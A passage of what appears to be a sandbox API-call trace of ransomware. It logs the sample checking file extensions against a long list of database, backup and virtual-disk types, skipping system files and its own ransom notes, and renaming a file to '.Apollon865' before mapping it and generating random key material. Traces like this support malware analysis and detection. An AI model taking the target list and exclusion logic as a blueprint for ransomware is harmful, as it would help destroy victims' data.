	[0059.112] lstrlenW (lpString="orx") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1
	[0059.112] lstrlenW (lpString="owc") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1
	[0059.112] lstrlenW (lpString="p96") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1
	[0059.112] lstrlenW (lpString="p97") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1
	[0059.112] lstrlenW (lpString="pan") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1
	[0059.112] lstrlenW (lpString="pdb") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1
	[0059.112] lstrlenW (lpString="pdm") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1
	[0059.112] lstrlenW (lpString="pnz") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1
	[0059.112] lstrlenW (lpString="qry") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1
	[0059.112] lstrlenW (lpString="qvd") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1
	[0059.112] lstrlenW (lpString="rbf") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1
	[0059.112] lstrlenW (lpString="rctd") returned 4
	[0059.112] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1
	[0059.112] lstrlenW (lpString="rod") returned 3
	[0059.112] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1
	[0059.112] lstrlenW (lpString="rodx") returned 4
	[0059.113] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1
	[0059.113] lstrlenW (lpString="rpd") returned 3
	[0059.113] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1
	[0059.113] lstrlenW (lpString="rsd") returned 3
	[0059.113] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1
	[0059.113] lstrlenW (lpString="sas7bdat") returned 8
	[0059.113] lstrcmpiW (lpString1="oses.htm", lpString2="sas7bdat") returned -1
	[0059.113] lstrlenW (lpString="sbf") returned 3
	[0059.113] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1
	[0059.113] lstrlenW (lpString="scx") returned 3
	[0059.113] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1
	[0059.113] lstrlenW (lpString="sdb") returned 3
	[0059.113] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1
	[0059.113] lstrlenW (lpString="sdc") returned 3
	[0059.113] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1
	[0059.113] lstrlenW (lpString="sdf") returned 3
	[0059.113] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1
	[0059.113] lstrlenW (lpString="sis") returned 3
	[0059.113] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1
	[0059.113] lstrlenW (lpString="spq") returned 3
	[0059.113] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1
	[0059.113] lstrlenW (lpString="te") returned 2
	[0059.113] lstrcmpiW (lpString1="tm", lpString2="te") returned 1
	[0059.113] lstrlenW (lpString="teacher") returned 7
	[0059.113] lstrcmpiW (lpString1="ses.htm", lpString2="teacher") returned -1
	[0059.113] lstrlenW (lpString="tmd") returned 3
	[0059.113] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1
	[0059.113] lstrlenW (lpString="tps") returned 3
	[0059.113] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1
	[0059.113] lstrlenW (lpString="trc") returned 3
	[0059.113] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0059.113] lstrlenW (lpString="trc") returned 3
	[0059.113] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0059.114] lstrlenW (lpString="trm") returned 3
	[0059.114] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1
	[0059.114] lstrlenW (lpString="udb") returned 3
	[0059.114] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1
	[0059.114] lstrlenW (lpString="udl") returned 3
	[0059.114] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1
	[0059.114] lstrlenW (lpString="usr") returned 3
	[0059.114] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1
	[0059.114] lstrlenW (lpString="v12") returned 3
	[0059.114] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1
	[0059.114] lstrlenW (lpString="vis") returned 3
	[0059.114] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1
	[0059.114] lstrlenW (lpString="vpd") returned 3
	[0059.114] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1
	[0059.114] lstrlenW (lpString="vvv") returned 3
	[0059.114] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1
	[0059.114] lstrlenW (lpString="wdb") returned 3
	[0059.114] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1
	[0059.114] lstrlenW (lpString="wmdb") returned 4
	[0059.114] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1
	[0059.114] lstrlenW (lpString="wrk") returned 3
	[0059.114] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1
	[0059.114] lstrlenW (lpString="xdb") returned 3
	[0059.114] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1
	[0059.114] lstrlenW (lpString="xld") returned 3
	[0059.114] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1
	[0059.114] lstrlenW (lpString="xmlff") returned 5
	[0059.114] lstrcmpiW (lpString1="s.htm", lpString2="xmlff") returned -1
	[0059.114] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.Apollon865") returned 85
	[0059.114] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm.apollon865"), dwFlags=0x1) returned 1
	[0059.116] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.116] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=233) returned 1
	[0059.116] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0059.116] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.117] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.117] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0059.117] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.117] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.118] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x14c
	[0059.119] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000
	[0059.120] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0059.121] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.121] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.121] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.121] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.121] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.121] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.121] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.121] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.121] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.121] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.121] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.121] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.121] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0059.122] CloseHandle (hObject=0x14c) returned 1
	[0059.122] CloseHandle (hObject=0x150) returned 1
	[0059.122] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.122] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.122] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0059.122] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1
	[0059.122] lstrcmpiW (lpString1="Roses.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.122] lstrcmpiW (lpString1="Roses.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0059.122] lstrcmpiW (lpString1="Roses.jpg", lpString2=".") returned 1
	[0059.122] lstrcmpiW (lpString1="Roses.jpg", lpString2="..") returned 1
	[0059.122] lstrcmpiW (lpString1="Roses.jpg", lpString2="windows") returned -1
	[0059.122] lstrcmpiW (lpString1="Roses.jpg", lpString2="bootmgr") returned 1
	[0059.122] lstrcmpiW (lpString1="Roses.jpg", lpString2="temp") returned -1
	[0059.122] lstrcmpiW (lpString1="Roses.jpg", lpString2="pagefile.sys") returned 1
	[0059.122] lstrcmpiW (lpString1="Roses.jpg", lpString2="boot") returned 1
	[0059.122] lstrcmpiW (lpString1="Roses.jpg", lpString2="ids.txt") returned 1
	[0059.122] lstrcmpiW (lpString1="Roses.jpg", lpString2="ntuser.dat") returned 1
	[0059.122] lstrcmpiW (lpString1="Roses.jpg", lpString2="perflogs") returned 1
	[0059.122] lstrcmpiW (lpString1="Roses.jpg", lpString2="MSBuild") returned 1
	[0059.122] lstrlenW (lpString="Roses.jpg") returned 9
	[0059.122] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm") returned 74
	[0059.122] lstrcpyW (in: lpString1=0x119e68a, lpString2="Roses.jpg" | out: lpString1="Roses.jpg") returned="Roses.jpg"
	[0059.122] lstrlenW (lpString="Roses.jpg") returned 9
	[0059.122] lstrlenW (lpString="Apollon865") returned 10
	[0059.123] lstrlenW (lpString=".dll") returned 4
	[0059.123] lstrcmpiW (lpString1="Roses.jpg", lpString2=".dll") returned 1
	[0059.123] lstrlenW (lpString=".lnk") returned 4
	[0059.123] lstrcmpiW (lpString1="Roses.jpg", lpString2=".lnk") returned 1
	[0059.123] lstrlenW (lpString=".ini") returned 4
	[0059.123] lstrcmpiW (lpString1="Roses.jpg", lpString2=".ini") returned 1
	[0059.123] lstrlenW (lpString=".sys") returned 4
	[0059.123] lstrcmpiW (lpString1="Roses.jpg", lpString2=".sys") returned 1
	[0059.123] lstrlenW (lpString="Roses.jpg") returned 9
	[0059.123] lstrlenW (lpString="bak") returned 3
	[0059.123] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0059.123] lstrlenW (lpString="ba_") returned 3
	[0059.123] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0059.123] lstrlenW (lpString="dbb") returned 3
	[0059.123] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0059.123] lstrlenW (lpString="vmdk") returned 4
	[0059.123] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0059.123] lstrlenW (lpString="rar") returned 3
	[0059.123] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0059.123] lstrlenW (lpString="zip") returned 3
	[0059.123] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0059.123] lstrlenW (lpString="tgz") returned 3
	[0059.123] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0059.123] lstrlenW (lpString="vbox") returned 4
	[0059.123] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0059.123] lstrlenW (lpString="vdi") returned 3
	[0059.123] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0059.123] lstrlenW (lpString="vhd") returned 3
	[0059.123] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0059.123] lstrlenW (lpString="vhdx") returned 4
	[0059.123] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0059.123] lstrlenW (lpString="avhd") returned 4
	[0059.123] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0059.123] lstrlenW (lpString="db") returned 2
	[0059.123] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0059.124] lstrlenW (lpString="db2") returned 3
	[0059.124] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0059.124] lstrlenW (lpString="db3") returned 3
	[0059.124] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0059.124] lstrlenW (lpString="dbf") returned 3
	[0059.124] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0059.124] lstrlenW (lpString="mdf") returned 3
	[0059.124] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0059.124] lstrlenW (lpString="mdb") returned 3
	[0059.124] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0059.124] lstrlenW (lpString="sql") returned 3
	[0059.124] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0059.124] lstrlenW (lpString="sqlite") returned 6
	[0059.124] lstrcmpiW (lpString1="es.jpg", lpString2="sqlite") returned -1
	[0059.124] lstrlenW (lpString="sqlite3") returned 7
	[0059.124] lstrcmpiW (lpString1="ses.jpg", lpString2="sqlite3") returned -1
	[0059.124] lstrlenW (lpString="sqlitedb") returned 8
	[0059.124] lstrcmpiW (lpString1="oses.jpg", lpString2="sqlitedb") returned -1
	[0059.124] lstrlenW (lpString="xml") returned 3
	[0059.124] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0059.124] lstrlenW (lpString="$er") returned 3
	[0059.124] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0059.124] lstrlenW (lpString="4dd") returned 3
	[0059.124] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0059.124] lstrlenW (lpString="4dl") returned 3
	[0059.124] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0059.124] lstrlenW (lpString="^^^") returned 3
	[0059.124] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0059.124] lstrlenW (lpString="abs") returned 3
	[0059.124] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0059.124] lstrlenW (lpString="abx") returned 3
	[0059.124] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0059.124] lstrlenW (lpString="accdb") returned 5
	[0059.124] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1
	[0059.142] lstrlenW (lpString="accdc") returned 5
	[0059.142] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1
	[0059.142] lstrlenW (lpString="accde") returned 5
	[0059.142] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1
	[0059.142] lstrlenW (lpString="accdr") returned 5
	[0059.142] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1
	[0059.142] lstrlenW (lpString="accdt") returned 5
	[0059.142] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1
	[0059.142] lstrlenW (lpString="accdw") returned 5
	[0059.142] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1
	[0059.142] lstrlenW (lpString="accft") returned 5
	[0059.142] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1
	[0059.142] lstrlenW (lpString="adb") returned 3
	[0059.142] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0059.142] lstrlenW (lpString="adb") returned 3
	[0059.142] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0059.142] lstrlenW (lpString="ade") returned 3
	[0059.142] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0059.142] lstrlenW (lpString="adf") returned 3
	[0059.142] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0059.142] lstrlenW (lpString="adn") returned 3
	[0059.142] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0059.143] lstrlenW (lpString="adp") returned 3
	[0059.143] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0059.143] lstrlenW (lpString="alf") returned 3
	[0059.143] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0059.143] lstrlenW (lpString="ask") returned 3
	[0059.143] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0059.143] lstrlenW (lpString="btr") returned 3
	[0059.143] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0059.143] lstrlenW (lpString="cat") returned 3
	[0059.143] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0059.143] lstrlenW (lpString="cdb") returned 3
	[0059.143] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0059.143] lstrlenW (lpString="ckp") returned 3
	[0059.143] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0059.143] lstrlenW (lpString="cma") returned 3
	[0059.143] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0059.143] lstrlenW (lpString="cpd") returned 3
	[0059.143] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0059.143] lstrlenW (lpString="dacpac") returned 6
	[0059.143] lstrcmpiW (lpString1="es.jpg", lpString2="dacpac") returned 1
	[0059.143] lstrlenW (lpString="dad") returned 3
	[0059.143] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0059.143] lstrlenW (lpString="dadiagrams") returned 10
	[0059.143] lstrlenW (lpString="daschema") returned 8
	[0059.143] lstrcmpiW (lpString1="oses.jpg", lpString2="daschema") returned 1
	[0059.143] lstrlenW (lpString="db-journal") returned 10
	[0059.143] lstrlenW (lpString="db-shm") returned 6
	[0059.143] lstrcmpiW (lpString1="es.jpg", lpString2="db-shm") returned 1
	[0059.143] lstrlenW (lpString="db-wal") returned 6
	[0059.143] lstrcmpiW (lpString1="es.jpg", lpString2="db-wal") returned 1
	[0059.143] lstrlenW (lpString="dbc") returned 3
	[0059.143] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0059.143] lstrlenW (lpString="dbs") returned 3
	[0059.143] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0059.144] lstrlenW (lpString="dbt") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0059.144] lstrlenW (lpString="dbv") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0059.144] lstrlenW (lpString="dbx") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0059.144] lstrlenW (lpString="dcb") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0059.144] lstrlenW (lpString="dct") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0059.144] lstrlenW (lpString="dcx") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0059.144] lstrlenW (lpString="ddl") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0059.144] lstrlenW (lpString="dlis") returned 4
	[0059.144] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0059.144] lstrlenW (lpString="dp1") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0059.144] lstrlenW (lpString="dqy") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0059.144] lstrlenW (lpString="dsk") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0059.144] lstrlenW (lpString="dsn") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0059.144] lstrlenW (lpString="dtsx") returned 4
	[0059.144] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0059.144] lstrlenW (lpString="dxl") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0059.144] lstrlenW (lpString="eco") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0059.144] lstrlenW (lpString="ecx") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0059.144] lstrlenW (lpString="edb") returned 3
	[0059.144] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0059.144] lstrlenW (lpString="epim") returned 4
	[0059.145] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0059.145] lstrlenW (lpString="fcd") returned 3
	[0059.145] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0059.145] lstrlenW (lpString="fdb") returned 3
	[0059.145] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0059.145] lstrlenW (lpString="fic") returned 3
	[0059.145] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0059.145] lstrlenW (lpString="flexolibrary") returned 12
	[0059.145] lstrlenW (lpString="fm5") returned 3
	[0059.145] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0059.145] lstrlenW (lpString="fmp") returned 3
	[0059.145] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0059.145] lstrlenW (lpString="fmp12") returned 5
	[0059.145] lstrcmpiW (lpString1="s.jpg", lpString2="fmp12") returned 1
	[0059.145] lstrlenW (lpString="fmpsl") returned 5
	[0059.145] lstrcmpiW (lpString1="s.jpg", lpString2="fmpsl") returned 1
	[0059.145] lstrlenW (lpString="fol") returned 3
	[0059.145] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0059.145] lstrlenW (lpString="fp3") returned 3
	[0059.145] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0059.145] lstrlenW (lpString="fp4") returned 3
	[0059.145] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0059.145] lstrlenW (lpString="fp5") returned 3
	[0059.145] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0059.145] lstrlenW (lpString="fp7") returned 3
	[0059.145] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0059.145] lstrlenW (lpString="fpt") returned 3
	[0059.145] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0059.145] lstrlenW (lpString="frm") returned 3
	[0059.145] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0059.145] lstrlenW (lpString="gdb") returned 3
	[0059.145] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0059.145] lstrlenW (lpString="gdb") returned 3
	[0059.145] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0059.145] lstrlenW (lpString="grdb") returned 4
	[0059.146] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0059.146] lstrlenW (lpString="gwi") returned 3
	[0059.146] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0059.146] lstrlenW (lpString="hdb") returned 3
	[0059.146] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0059.146] lstrlenW (lpString="his") returned 3
	[0059.146] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0059.146] lstrlenW (lpString="ib") returned 2
	[0059.146] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0059.146] lstrlenW (lpString="idb") returned 3
	[0059.146] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0059.146] lstrlenW (lpString="ihx") returned 3
	[0059.146] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0059.146] lstrlenW (lpString="itdb") returned 4
	[0059.146] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0059.146] lstrlenW (lpString="itw") returned 3
	[0059.146] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0059.146] lstrlenW (lpString="jet") returned 3
	[0059.146] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0059.146] lstrlenW (lpString="jtx") returned 3
	[0059.146] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0059.146] lstrlenW (lpString="kdb") returned 3
	[0059.146] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0059.146] lstrlenW (lpString="kexi") returned 4
	[0059.146] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0059.146] lstrlenW (lpString="kexic") returned 5
	[0059.146] lstrcmpiW (lpString1="s.jpg", lpString2="kexic") returned 1
	[0059.146] lstrlenW (lpString="kexis") returned 5
	[0059.146] lstrcmpiW (lpString1="s.jpg", lpString2="kexis") returned 1
	[0059.146] lstrlenW (lpString="lgc") returned 3
	[0059.146] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0059.146] lstrlenW (lpString="lwx") returned 3
	[0059.146] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0059.146] lstrlenW (lpString="maf") returned 3
	[0059.146] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0059.147] lstrlenW (lpString="maq") returned 3
	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0059.147] lstrlenW (lpString="mar") returned 3
	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0059.147] lstrlenW (lpString="marshal") returned 7
	[0059.147] lstrcmpiW (lpString1="ses.jpg", lpString2="marshal") returned 1
	[0059.147] lstrlenW (lpString="mas") returned 3
	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0059.147] lstrlenW (lpString="mav") returned 3
	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0059.147] lstrlenW (lpString="maw") returned 3
	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0059.147] lstrlenW (lpString="mdbhtml") returned 7
	[0059.147] lstrcmpiW (lpString1="ses.jpg", lpString2="mdbhtml") returned 1
	[0059.147] lstrlenW (lpString="mdn") returned 3
	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0059.147] lstrlenW (lpString="mdt") returned 3
	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0059.147] lstrlenW (lpString="mfd") returned 3
	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0059.147] lstrlenW (lpString="mpd") returned 3
	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0059.147] lstrlenW (lpString="mrg") returned 3
	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0059.147] lstrlenW (lpString="mud") returned 3
	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0059.147] lstrlenW (lpString="mwb") returned 3
	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0059.147] lstrlenW (lpString="myd") returned 3
	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0059.147] lstrlenW (lpString="ndf") returned 3
	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0059.147] lstrlenW (lpString="nnt") returned 3
